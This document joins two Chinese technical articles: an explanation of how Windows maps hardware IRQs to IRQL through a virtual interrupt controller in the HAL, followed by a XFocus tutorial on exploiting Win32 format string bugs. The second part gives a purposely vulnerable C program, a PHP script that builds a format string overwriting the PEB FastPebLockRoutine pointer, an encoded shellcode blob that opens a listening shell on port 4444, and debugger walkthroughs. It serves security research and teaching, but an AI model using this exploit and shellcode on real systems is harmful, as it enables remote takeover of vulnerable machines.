写驱动的人一开始就会接触到IRQL这个概念,它实现了WINDOWS里的中断优先级制度,高优先级的中断总是可以优先被处理,而低优先级的中断则不得不等待高优先级中断被处理完后才得到处理。这就象一个特权社会的不同特权阶层,社会底层的人被迫服从于社会高层的人的安排。就象当IRQL=0X15时,所有IRQL低于0×15的中断发生时都不得不等待知道这个中断被处理完,IRQL降下来,然后下一个被处理的是IRQL低于0×15而高于其它所有等待的中断IRQL的中断。这种安排使中断处理有序化,重要的中断先于次重要的中断被处理。一个常规的IRQL如下:
31:高
30:掉点
29:处理器间中断
28:时钟
27:配置文件
26



3:设备中断(其实只用了16个)
2:DPC/调度
1:APC
0:无源

但是接触过硬件的人都知道硬件只有IRQ这个概念,而完全没有IRQL这个东东,但我们写驱动时可以不必去理会IRQ,取而代之的是与IRQL打交道。那么IRQ这个东西哪去了呢?我们知道发生中断时,CPU会用中断向量做索引在IDT(中断描述符表)中找到对应的中断服务例程。那么中断向量又从哪来呢?实际上,它保存在8259A中断控制器里的中断向量寄存器中,每个系统有两个8259A中断控制器,关系是一主一从,主中断控制器掌管IRQ0-IRQ7的中断,对应0×20、0×21端口;从中断控制器掌管IRQ8-IRQ15的中断,对应0xa0、0xa1端口。主中断控制器的中断向量寄存器保存IRQ0的中断向量,从中断控制器的中断向量寄存器保存IRQ8的中断向量。中断发生时,CPU从中断向量寄存器中取出IRQ0的中断向量与当前IRQ相加,既可得当前中断向量。中断向量寄存器并不是一开始就是这个值,在实模式下,IRQ分别对应了BIOS中的中断处理程序。但到了保护模式下时原BIOS中断处理程序的中断号都对应了异常处理程序(0×0-0×11),所以进入保护模式后就得进行中断的重映射,向8259A中断控制器编程,使它按操作系统的意图进行中断映射(正因为如此,PIC才叫“可编程”)。听起来好象很难,其实很简单,分别向0×20和0xa0发送4个ICW(初始化命令字)就可以完成对它的编程。ICW1包括是否工作在级联环境、中断请求的触发模式等;ICW2就是IRQ0的中断向量(向0xa1是发IRQ8的中断向量),要求是8位对齐;ICW3是主、从中断控制器的级联状态,指示由IRQx(一般是IRQ2)作为主、从中断控制器连接的中断,向0×20、0xa0端口发送的命令是不一样的;ICW4指示是否工作于x86模式下及是否自动清楚EOI等。windows在启动阶段初始化时对中断控制器编程,ICW2对于0×21端口是0×30,对于0xa1是0×38。至此,中断映射完毕,中断发生后可以直接从IDT中索引中断处理程序。

当中断发生并索引到对应中断处理程序后转入中断处理程序执行,每个中断处理程序开始的代码都是一样的,是一段预处理代码,它是怎么产生的呢?当IoConnectInterrupt注册中断处理程序时,会产生一个KINTERRUPT结构,结构如下:

typedef struct _KINTERRUPT {
CSHORT Type;
CSHORT Size;
LIST_ENTRY InterruptListEntry;
PKSERVICE_ROUTINE ServiceRoutine;
PVOID ServiceContext;
KSPIN_LOCK SpinLock;
ULONG TickCount;
PKSPIN_LOCK ActualLock;
PVOID DispatchAddress;
ULONG Vector;
KIRQL Irql;
KIRQL SynchronizeIrql;
BOOLEAN FloatingSave;
BOOLEAN Connected;
CHAR Number;
UCHAR ShareVector;
KINTERRUPT_MODE Mode;
ULONG ServiceCount;
ULONG DispatchCount;
ULONG DispatchCode[106];
} KINTERRUPT, *PKINTERRUPT;

中断描述符表中保存的中断服务例程的入口地址就是这个KINTERRUPT结构的DispatchCode的地址。这段代码的功能很明白,就是调用HalBeginSystemInterrupt完成从IRQ到IRQL的映射(同样负责映射的函数还有KfRaiseIrql、KfLowerIrql、HalEndSystemInterrupt等函数)。只有完成了映射后才会转到实际的中断处理程序,也就是用户注册的中断处理程序的执行。

IRQL是一个完全虚拟出来的概念,M$为了实现这一个虚拟的机制,完全虚拟了一个中断控制器,它在KPCR中:

+024 byte Irql //IRQL
+028 uint32 IRR //虚拟中断请求寄存器
+02c uint32 IrrActive //虚拟中断在服务寄存器
+030 uint32 IDR //虚拟中断屏蔽寄存器

和一个实际中断控制器几乎一模一样,除去少部分实现IRQL机制的代码外,整个系统其实都是在和这个虚拟出来的东西交流,而上层系统对此是一无所知,对着一个假的东西整天RaiseIrql来LowerIrql去的还玩得不亦乐乎^^。其实IRQL可以理解为是windows硬件抽象层模拟了实际的IRQ的实现方式,使上层和硬件抽象层打交道就象以前直接和硬件打交道一样,并将IRQ的16个中断扩展了为了32个,除去映射了IRQ的16个,剩下的全归系统实现各种功能使用。它的初始化是在前面提到的向保护模式过渡时编程PIC后,会向实际两个8259A中断控制器发中断屏蔽码,屏蔽掉所有中断,这也就是为什么启动时你按什么键系统都不会有反应的原因,全都给屏蔽了。然后第一次调用KfRaiseIrql,提升的IRQL是当前IRQL(KPCR刚刚初始化完,当前IRQL当然是0)。IRQL从0到32,对应32个优先级,相应的寄存器当然必须是32位的,所以IRR、IDR等都是一个DWORD,每个位对应了一个优先级。

扯了那么多,还没扯到关键的IRQ是怎么映射为IRQL上来和IRQL是怎么实现的:)IRQL和IRQ有个很简单的线性关系,就是IRQL=0×27-IRQ。前面提到了每个中断在处理前都会调用HalBeginSystemInterrupt,因为整个系统是由中断驱动的,所以HalBeginSystemInterrupt才是整个IRQL映射机制的心脏,它会在系统第一次被中断时启动这个机制并在系统每一次中断时维持这个机制,而其它象HalEndSystemInterrupt、KfLowerIrql等都是在这个机制被启动后完善这个机制的组件。

BOOLEAN
HalBeginSystemInterrupt(
IN KIRQL Irql
IN CCHAR Vector,
OUT PKIRQL OldIrql)

它的输入参数Irql和Vector从哪来?当然是从前面注册的KINTERRUPT结构中取出了。这个函数首先通过把Vector-0×30获取当前中断的IRQ,然后跳转到一个指针数组,里面包含了对应IRQ的中断的一个简单处理例程,除了少部分IRQ7(并口1中断)、IRQ13(协处理器中断)、IRQ15不一样外,其它的都是指向同一个函数(其实前面那几个不一样的也只是做点小处理,主要是判断是否是假中断,若不是则也跳到那个函数)。真正的工作在这个函数里开始了,从虚拟中断控制器中(KPCR+0×24)取出当前IRQL,并与当前中断的IRQL判断,若当前IRQL小于当前中断IRQL,则修改虚拟中断控制器的IRQL为当前中断IRQL,然后向中断控制器发对应中断EOI表示中断已处理完,可以响应下一个来自这个IRQ的中断(如果中断是IRQ8-IRQ15,属于从中断控制器管理,则还要向主中断控制发一个对应IRQ2的EOI)。若当前中断IRQL小于当前IRQL,则说明有个更高优先级的中断在被处理,则设置虚拟中断控制器中的中断请求寄存器IRR中的相关位,表示该IRQL发生请求,但未被处理。同时从KiI8259MaskTable中取出当前IRQL的掩码(这个掩码是32位,每个IRQL对应一个掩码,一般都是掩码对应IRQL以上的位为1,以下的位为0,表示只接受大于当前IRQL的请求,如11111111111111111111110000000000B是IRQL17的掩码)与当前虚拟中断控制器中的中断屏蔽寄存器IDR相或之后设置虚拟的IDR,表示拒绝来自这些IRQL的请求。并把该掩码发实际的中断控制器,设置中断屏蔽寄存器,防止该未被处理的中断再发生一次。注意,系统并没有向中断控制器发出该未被处理的中断的EOI,表示该中断并没有处理完。最后HalBeginSystemInterrupt返回FALSE(注意,是返回,前面只是跳转到那个函数里,返回地址并没有变),表示这是一个假中断,系统象什么事也没有一样继续干该干的事。

调用完HalBeginSystemInterrupt后开始调用实际由用户注册的中断处理程序,处理完后会调用HalEndSystemInterrupt,调用这个函数时必须是关中断的。这个函数和所有HalEndSoftwareInterrupt、KfLowerIrql、KfLowerIrqlToXXX函数功能差不多,就是降低当前IRQL,从另一个掩码表FindHigherIrqlMask中取出要降低到的IRQL的掩码放到edx中(要说这个表和刚才那个表有啥不同,就是这个表差不多是对上一个每个掩码取反,注意,是差不多,不是完全),与上虚拟中断请求寄存器来判断是否有更高级的IRQL的请求在等待,当然,并没有改变虚拟中断请求寄存器。同时把虚拟中断控制器的IRQL设置为要降低到的IRQL。若没有更高级的IRQL请求在等待,则HalEndSystemInterrupt返回,否则要处理等待的IRQL请求,此时会判断虚拟在服务寄存器是否为空,不为空则表示还有中断在处理,直接返回,这种情况是某些延时了的硬件中断处理。为空的话可以处理等待的中断了,从edx中(edx里是什么内容,往上找吧)找出左边第一个不是0的位,也就是在等待的中断中IRQL最高的一个中断。(当然,这里也会比较一下该中断对应的IRQL是不是已经小于DISPATCH_LEVEL,小于的话已经是软中断了,就会跳到其它地方处理)。然后用虚拟中断屏蔽寄存的值设置实际的两个中断控制器里的屏蔽寄存器的值,接着如果虚拟中断在服务寄存器IrrActive对应要处理中断IRQL的位没有置位的话则置位,表示当前处于在服务状态,并清除原先设置的虚拟中断请求寄存器IRR中相关位。现在到了关键的一步,以当前IRQL为索引,跳转到一个函数指针表中索引对应的函数。这个表叫做SWInterruptHandlerTable,其作用就象实模式下那个中断向量表一样,索引对应的中断处理程序。我们来看看表里有啥内容:

SWInterruptHandlerTable label dword
dd offset FLAT:_KiUnexpectedInterrupt ; irql 0
dd offset FLAT:_HalpApcInterrupt ; irql 1
dd offset FLAT:_HalpDispatchInterrupt2 ; irql 2
dd offset FLAT:_KiUnexpectedInterrupt ; irql 3
dd offset FLAT:HalpHardwareInterrupt00 ; 8259 irq#0
dd offset FLAT:HalpHardwareInterrupt01 ; 8259 irq#1
dd offset FLAT:HalpHardwareInterrupt02 ; 8259 irq#2
dd offset FLAT:HalpHardwareInterrupt03 ; 8259 irq#3
dd offset FLAT:HalpHardwareInterrupt04 ; 8259 irq#4
dd offset FLAT:HalpHardwareInterrupt05 ; 8259 irq#5
dd offset FLAT:HalpHardwareInterrupt06 ; 8259 irq#6
dd offset FLAT:HalpHardwareInterrupt07 ; 8259 irq#7
dd offset FLAT:HalpHardwareInterrupt08 ; 8259 irq#8
dd offset FLAT:HalpHardwareInterrupt09 ; 8259 irq#9
dd offset FLAT:HalpHardwareInterrupt10 ; 8259 irq#10
dd offset FLAT:HalpHardwareInterrupt11 ; 8259 irq#11
dd offset FLAT:HalpHardwareInterrupt12 ; 8259 irq#12
dd offset FLAT:HalpHardwareInterrupt13 ; 8259 irq#13
dd offset FLAT:HalpHardwareInterrupt14 ; 8259 irq#14
dd offset FLAT:HalpHardwareInterrupt15 ; 8259 irq#15

可以看到IRQL2是处理APC的例程,IRQL3的例程会处理DPC和环境切换(我在《SYMANTEC防火墙内核堆栈溢出漏洞利用方法总结》一文中提到过),那么这些HalpHardwareInterruptXX之类的是什么?很简单,就是int xx,然后返回。因为中断被延迟错过了由系统机制索引IDT表然后处理的机会,操作系统只好自己模仿一个中断来索引IDT表找到中断处理程序。前面提到的如果是一个软中断在等待,则会略过前面那些对硬件的操作直接索引IDT表找处理程序,不是IRQL2的就是IRQL3的,所以我前面说过软中断其实所谓“中断”都是虚拟出来的,连int指令都没执行过。处理完并返回到HalEndSystemInterrput后的处理就简单了,将虚拟中断在服务寄存器中相关位清0,并再判断是否还有高于当前IRQL的中断在等待,有,则继续刚才的处理过程;没有,工作完成,可以返回了。HalEndSystemInterrupt返回后,中断处理程序就执行完毕,iret返回被中断的地方。

其它的象KfLowerIrql、HalEndSoftwareInterrput和HalEndSystemInterrupt基本原理是一样的。至于KfRaiseIrql,不要以为它有多复杂,它仅仅是修改了虚拟中断控制器的IRQL而已。

现在回头再来看这套机制,它并不是为了提高效率,如果单为提高效率完全可以通过开/关中断来完成,而它处理每个中断都白白多了那么多代码,还虚拟了一堆东西出来,反而拖了系统速度。这个机制这么实现除了实现系统的一些功能外,几乎可以说是为了移植性,想想那时M$正在编写windows时因为David Culter的事不得不和Digital公司签订的必须支持Alpha处理器的“不平等”条约,使得windows必须把可移植性放在首位。就如前所说,整个系统大部分只需要和一个虚拟出来的中断控制器打交道就行,而不必管实际的中断处理器怎样,在驱动看来,它还是在和硬件打交道。这也就是硬件抽象的含义,把一个具体的东西抽象成一个虚拟的东西。至于用这套机制实现的一些系统功能确实有一定的优越之处,象linux从2.4内核起也实现了softirq这种类似于windows下软中断的概念,而用tasklet这种softirq来处理硬件中断的下半部分(Bottom half),则类似于windows里DPC的作用。

有些朋友可能会说,按这么来说键盘的中断向量是0×3c,那么也应该处于IDT表里的0×3c处,为什么在虚拟机里看怎么不是这个位置?这个问题也困扰了我很久,直到我不久前才明白,就是虚拟机默认使用了APIC,不再是那么简单的固定映射。包括HalBeginSystemInterrupt等函数也完全不一样。具体怎么不一样有时间我再分析分析。

写了这么多也不知道说明白了没有。上了大学以后就再没写过作文,语言表达能力明显下降了,明明知道是这么一回事,可是写出来就不一样了。今天考混凝土又被郁闷了,于是一口气完成了这篇文章。难免会有错漏,欢迎与我探讨:)

2004年11月06日

整理:san
创建:2004.10.26

本文缘起KF在0dd邮件列表的问题,由于Win32平台的格式化串漏洞相对很少,所以以前没有关注过。不过David Litchfield曾经写过Win32平台格式化串漏洞的利用技术,但是他用的方法并不是很好,于是有了此文。

1.1 Win32平台格式化串与其它平台的不同

在Linux平台下直接指定要访问的参数的”$”格式符在Win32下根本就不支持:

D:\working\research\Win32 format\2004.10.27>type d_test.c
main()
{
    printf (“%6$d\n”, 6, 5, 4, 3, 2, 1);
}

用VC6编译后运行查看结果:

D:\working\research\Win32 format\2004.10.27>cl d_test.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80×86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

d_test.c
Microsoft (R) Incremental Linker Version 6.00.8447
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:d_test.exe
d_test.obj

D:\working\research\Win32 format\2004.10.27>d_test
$d

输出的居然就是”$d”。所以在Linux平台的那种”%%%d$hn”格式串在Win32下是无法利用,不过这也没关系,用其它格式符pop参数就可以了。存在的弊端就是构造格式串的字符串可能会稍长,但这在很多情况下是不影响的。

另外还有一个问题就是Win32的堆栈地址不如Linux/Unix那么稳定,而且Win32堆栈地址一般都是0×0012e000这样的地址,最开始的一个字节包含0,所以覆盖函数保存在堆栈里的返回地址的方法就不是那么自如了(David Litchfield提到的方法是把堆栈地址放在格式串的最后,那么和格式串结束符0正好组合成完整的堆栈地址),选堆栈地址作为shellcode地址也不是那么稳定。下面我们将用实例演示Win32平台格式串更好的利用方法。

1.2 Win32平台格式化串的利用方法演示

首先我们构造一个存在格式化串漏洞的程序:

/* Windows format strings demo
*
*  san@xfocus.org
*  2004.10.26
*/

#include <stdio.h>
#define IOSIZE 1024

int main(int argc, char **argv )
{
    FILE * binFileH;
    char binFile[] = “binfile”;
    char buf[IOSIZE];

    if ( (binFileH = fopen(binFile, “rb”)) == NULL )
    {
        printf(“can’t open file %s!\n”, binFile);
        exit();
    }

    memset(buf, 0, sizeof(buf));
    fread(buf, sizeof(char), IOSIZE, binFileH);

    printf(“%d\n”, strlen(buf));
    printf(buf);

    fclose(binFileH);
}

这是一个很简单的程序,它从当前目录的”binfile”文件读取内容,然后把这些内容直接作为printf的参数打印,典型的格式化串漏洞。构造一个包含如下内容的”binfile”文件:

AAAABBBB|%x|%x|%x|%x|%x

运行这个format程序:

D:\working\research\Win32 format\2004.10.27>format
23
AAAABBBB|666e6962|656c69|41414141|42424242|7c78257c

可以发现只需pop掉两次参数就能显示格式串最开始的内容。不过Win32下我们到底覆盖什么地址比较好呢?BasepCurrentTopLevelFilter指针是个不错主意,但是它的地址在各种版本都不相同。由于格式化串漏洞可以实现多次往任意地址写任意内容,那么我们是否可以写一段代码到一个地址,然后把这个地址写到Peb->FastPebLockRoutine指针,那么在程序退出时调用Peb->FastPebLockRoutine指针就能执行到我们的代码。我们的这个代码来实现搜索堆栈中shellcode的任务:

7FFDF250    54              PUSH ESP
7FFDF251    5F              POP EDI
7FFDF252    B8 90909090     MOV EAX,90909090
7FFDF257    FC              CLD
7FFDF258    F2:AF           REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A    57              PUSH EDI
7FFDF25B    C3              RETN

这段代码的意思是从当前esp开始往高地址搜索包含0×90909090的内容,如果找到就进入该代码执行。往esp高地址还是低地址搜索取决于当时的情况。这个搜索代码有12个字节,加上覆盖地址的4个字节,一共是16个字节,要求往内存地址写8次。由于C语言处理字符串有些麻烦,所以我用PHP写了如下构造格式串的过程:

<?php
/* Windows format strings demo
*
*  san@xfocus.org
*  2004.10.26
*/

$flag = 2;
$shellcode =
“\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x58\x01\x80\x34\x0b\xf8\xe2\xfa”.
“\xeb\x05\xe8\xeb\xff\xff\xff\x11\xda\xf9\xf8\xf8\xa7\x9c\x59\xc8″.
“\xf8\xf8\xf8\xa8\x73\xb8\xf4\x73\xb8\xe4\x73\x90\xf0\xa8\x73\x0f”.
“\x92\xfa\xa1\x10\x39\xf8\xf8\xf8\x1a\x01\xa0\x73\xf8\x73\x90\xf0″.
“\xa0\x07\xce\x77\xb8\xd8\x07\x8e\xfc\x77\xb8\xdc\x92\xfb\xa1\x10″.
“\x5d\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f\x8b\xca\xa7″.
“\xac\x07\xae\xf0\x73\x10\x92\xfd\xa1\x10\x73\xf8\xf8\xf8\x1a\x01″.
“\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae\xec\xa8″.
“\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe0\x73\x20\xcb\x38\xa8\xa8″.
“\xa8\x73\x04\x9e\x3f\xff\xfa\xf8\x9e\x73\xbe\xd0\x7e\x3c\x9e\x71″.
“\xbf\xfa\x92\xe8\xaf\xab\x07\xae\xe4\x92\xf9\xab\x07\xae\xd8\xa8″.
“\xa8\xab\x07\xae\xdc\x73\x20\x90\x9b\x95\x9c\xf8\x75\xec\xdc\x7b”.
“\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a\x03\x3e\xbf”.
“\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7\xb4\x71\xa7″.
“\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9\xaa\xa9\x07″.
“\xae\xf4\xcb\x38\xb0\xa8\x07\xae\xe8\xa9\xae\x73\x8d\xc4\x73\x8c”.
“\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1\xb9\x55\xfb”.
“\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff\xfb\x22\xb8″.
“\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e\x73\xf4\xb3″.
“\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1\x3b\x10\x21″.
“\x06\x07\x07\x06\xdc\x81\x9c\x22\x06\xf1\x6e\xca\x8c\x69\xf4\x31″.
“\x44\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c”.
“\xe8\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9\xa4\xe9\x47\x1d”;

/*
7FFDF250    54              PUSH ESP
7FFDF251    5F              POP EDI
7FFDF252    B8 90909090     MOV EAX,90909090
7FFDF257    FC              CLD
7FFDF258    F2:AF           REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A    57              PUSH EDI
7FFDF25B    C3              RETN
*/
$fmt_array = array(
                    0×7FFDF250 => “0×5f54″,
                    0×7FFDF252 => “0×90b8″,
                    0×7FFDF254 => “0×9090″,
                    0×7FFDF256 => “0xfc90″,
                    0×7FFDF258 => “0xaff2″,
                    0×7FFDF25A => “0xc357″,
                    0×7FFDF022 => “0×7ffd”,
                    0×7FFDF020 => “0xf250″,
                   );

asort($fmt_array);
print_r($fmt_array);
$count = count($fmt_array);

$head = “”;
$tail = “”;
$last = 0;
foreach($fmt_array as $k => $v) {
    printf(“%x\n”, $k);
    $b0 = sprintf(“%c”, (($k >> 24) & 0xff));
    $b1 = sprintf(“%c”, (($k >> 16) & 0xff));
    $b2 = sprintf(“%c”, (($k >>  8) & 0xff));
    $b3 = sprintf(“%c”, (($k      ) & 0xff));

    if (!$last) {
        $last += 8*$count+8*$flag;
    }

    $head .= “AAAA”.$b3.$b2.$b1.$b0;
    $tail .= “%”.($v-$last).”c%hn”;
    $last  = $v;
}
$fmt_str  = $head.(str_repeat(“%.8x”, $flag)).$tail;

$fmt_str .= str_repeat(“\x90″, 100).$shellcode;

$fp = fopen(“binfile”, “wb”);
fwrite($fp, $fmt_str);
fclose($fp);
?>

生成”binfile”文件后用SoftICE的Symbol Loader加载format.exe程序进行调试,首先对0×7ffdf020下一个读写断点:

:bpm 7ffdf020
:dd 7ffdf020
:g

运行4个g以后,0×7ffdf020的内容被改写为0×7ffdf250,而且0×7ffdf250开始的地址也写入了上面12个字节搜索shellcode的代码。这时在0×7ffdf250下一个断点:

:bpx 7ffdf250
:g

运行两个g以后就进入该地区:

001B:7FFDF250  54                  PUSH      ESP
001B:7FFDF251  5F                  POP       EDI
001B:7FFDF252  B890909090          MOV       EAX,90909090
001B:7FFDF257  FC                  CLD
001B:7FFDF258  F2AF                REPNZ SCASD
001B:7FFDF25A  57                  PUSH      EDI
001B:7FFDF25B  C3                  RET

这时的ecx等于0×7FFDF250,所以我们不需要再给ecx赋值。esp等于0×0012EE78,正好我们的shellcode在esp高地址的地方,所以执行了一个cld指令,如果我们的shellcode在esp低地址的地方,那么cld指令应该换成std指令。按F10执行完ret指令后,代码滑入shellcode:

001B:0012FC10  90                  NOP

在shellcode里我们必须马上恢复Peb->FastPebLockRoutine指针的内容为RtlEnterCriticalSection函数的地址:

        mov     eax, fs:30h
        push    eax

        mov     eax, [eax+0Ch]
        mov     eax, [eax+1Ch]
        mov     ebp, [eax+8]                      ; base address of ntdll.dll
        push    eax

        mov     esi, edi

        push    _Nnums
        pop     ecx

        GetNFuncAddr:                           ; find functions from ntdll.dll
        call    find_hashfunc_addr
        loop    GetNFuncAddr

        pop     eax
        mov     eax, [eax]
        mov     ebp, [eax+8]                    ; base address of kernel32.dll
        pop     eax
        push    dword ptr [esi+_RtlEnterCriticalSection]
        pop     dword ptr [eax+0x20]
        push    dword ptr [esi+_RtlLeaveCriticalSection]
        pop     dword ptr [eax+0x24]

format.php里的shellcode被正确执行后会监听在4444端口。这个利用程序在Windows 2003下是无法利用的,因为Windows 2003的PEB里已经没有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针。在Windows XP SP2上利用的成功率也会很低,因为SP2的PEB里虽然还有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针,但是它的PEB基地址却不是固定的,进程每次运行都不会相同。

这种技术在其它平台也可以使用,只是其它平台未必有象Win32这样固定的类似Peb->FastPebLockRoutine指针。

广告时间:

本是XFocus Security Team的《网络渗透技术》(暂定名)一书中《Win32格式化串漏洞利用技术》一节。XFocus Security Team将在安全焦点技术研究版对本书做全面技术支持。